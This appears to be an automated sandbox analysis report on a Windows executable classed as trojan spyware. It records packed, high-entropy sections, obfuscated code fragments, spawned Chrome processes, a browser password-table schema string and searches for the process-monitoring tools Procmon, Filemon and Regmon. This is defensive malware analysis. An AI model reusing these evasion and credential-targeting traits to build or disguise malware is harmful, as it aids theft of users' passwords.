Source: file.exe, 00000000.00000003.2334807275.0000000005C94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351227598.00000000056C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330913196.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325092517.0000000005B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319933329.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328044282.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330119885.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327602647.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329351897.0000000005C63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323464491.0000000005CE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321127025.0000000005C0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326849631.0000000005C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329813041.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331890749.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324685524.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333391302.0000000005C87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338854895.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327027471.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332272986.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320801238.0000000005C05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326545903.0000000005B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319555183.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318981161.0000000005B6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327468028.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321476884.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326401914.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322420759.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351090986.00000000056E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318403858.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330267002.0000000005B6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323572771.0000000005B71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339013106.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329972893.0000000005C64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321240723.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335682796.0000000005B6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339331483.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337730512.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338377841.0000000005C95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328447489.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336171036.0000000005C95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328313248.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320392163.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338688893.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323686662.0000000005C29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351033307.000000000576D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336758908.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330704204.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325223949.0000000005C34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332475654.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323347239.0000000005C19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321850527.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332696766.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334096487.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323805023.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320942829.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322651747.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326118777.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331574549.0000000005B69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325847163.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333135254.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339146811.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329504615.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325979144.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351338099.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322870653.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320088864.0000000005B69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321597614.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332085481.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.997978886471519
Source: file.exe	Static PE information: Section: tnkvfvld ZLIB complexity 0.994261031046236

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/8

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2177288028.00000000056E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162461710.00000000056D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177539007.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162233654.00000000056F7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 31%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,2413238672363069043,8081917924394963987,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1456 --field-trial-handle=1996,i,12330693015052581531,7143536758829977375,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,2413238672363069043,8081917924394963987,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1456 --field-trial-handle=1996,i,12330693015052581531,7143536758829977375,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1904128 > 1048576

Source: file.exe

Static PE information: Raw size of tnkvfvld is bigger than: 0x100000 < 0x1a5c00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.cb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tnkvfvld:EW;qxcnkkzt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tnkvfvld:EW;qxcnkkzt:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d8617 should be: 0x1d4f4b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tnkvfvld
Source: file.exe	Static PE information: section name: qxcnkkzt
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BCE3D push edx; mov dword ptr [esp], eax	0_2_060BDC8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BE603 push 7E4443A8h; mov dword ptr [esp], ebx	0_2_060C0E82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BEE1A push edx; mov dword ptr [esp], 26352D51h	0_2_060C0377
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BDE1E push ecx; mov dword ptr [esp], esi	0_2_060BDE38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C1E27 push ebp; mov dword ptr [esp], 27DE94DCh	0_2_060C34C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C1E27 push esi; mov dword ptr [esp], 17CEB804h	0_2_060C3684
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BBE42 push 4493350Dh; mov dword ptr [esp], edi	0_2_060BE4D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C1647 push eax; mov dword ptr [esp], ecx	0_2_060C1EF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C1647 push 3C0D9B47h; mov dword ptr [esp], edx	0_2_060C27AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C4E6D push edi; mov dword ptr [esp], 4F8D7DE2h	0_2_060C66AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C4E6D push esi; mov dword ptr [esp], eax	0_2_060C66BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BCE6E push 721EB0AEh; mov dword ptr [esp], ebx	0_2_060BF7DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BCE7B push ecx; mov dword ptr [esp], 67FE8ECEh	0_2_060BCE7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C167C push 7A448D04h; mov dword ptr [esp], ecx	0_2_060C2BC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C2E78 push edi; mov dword ptr [esp], 0A7661BDh	0_2_060C2E80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BBE8A push 46D9ECA9h; mov dword ptr [esp], eax	0_2_060BBE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C2689 push 214D7C13h; mov dword ptr [esp], ecx	0_2_060C26A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BCE8C push ebx; mov dword ptr [esp], 7FBE5100h	0_2_060BCE8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C1E9D push eax; mov dword ptr [esp], edx	0_2_060C2090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C169E push 602436E7h; mov dword ptr [esp], edi	0_2_060C16AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BD6B8 push ecx; mov dword ptr [esp], 5F2D3835h	0_2_060C0109
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BBED6 push ecx; mov dword ptr [esp], eax	0_2_060BBEDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C2EEC push eax; mov dword ptr [esp], 628B71BBh	0_2_060C3207
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C2EEC push edx; mov dword ptr [esp], ebp	0_2_060C3229
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C2EEC push eax; mov dword ptr [esp], ecx	0_2_060C322F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C3EE8 push ebx; mov dword ptr [esp], eax	0_2_060C3EE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C16E4 push edi; mov dword ptr [esp], 7C3054A5h	0_2_060C16F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BB6F8 push ebx; mov dword ptr [esp], eax	0_2_060BEEB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060C3F0F push eax; mov dword ptr [esp], esi	0_2_060C427A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060BB4D6 push eax; mov dword ptr [esp], 6EAB3B96h	0_2_060BF30E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060B8F01 push ebp; mov dword ptr [esp], 5E76A0B3h	0_2_060B8F16

Source: file.exe	Static PE information: section name: entropy: 7.973455423066596
Source: file.exe	Static PE information: section name: tnkvfvld entropy: 7.953192413596562

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
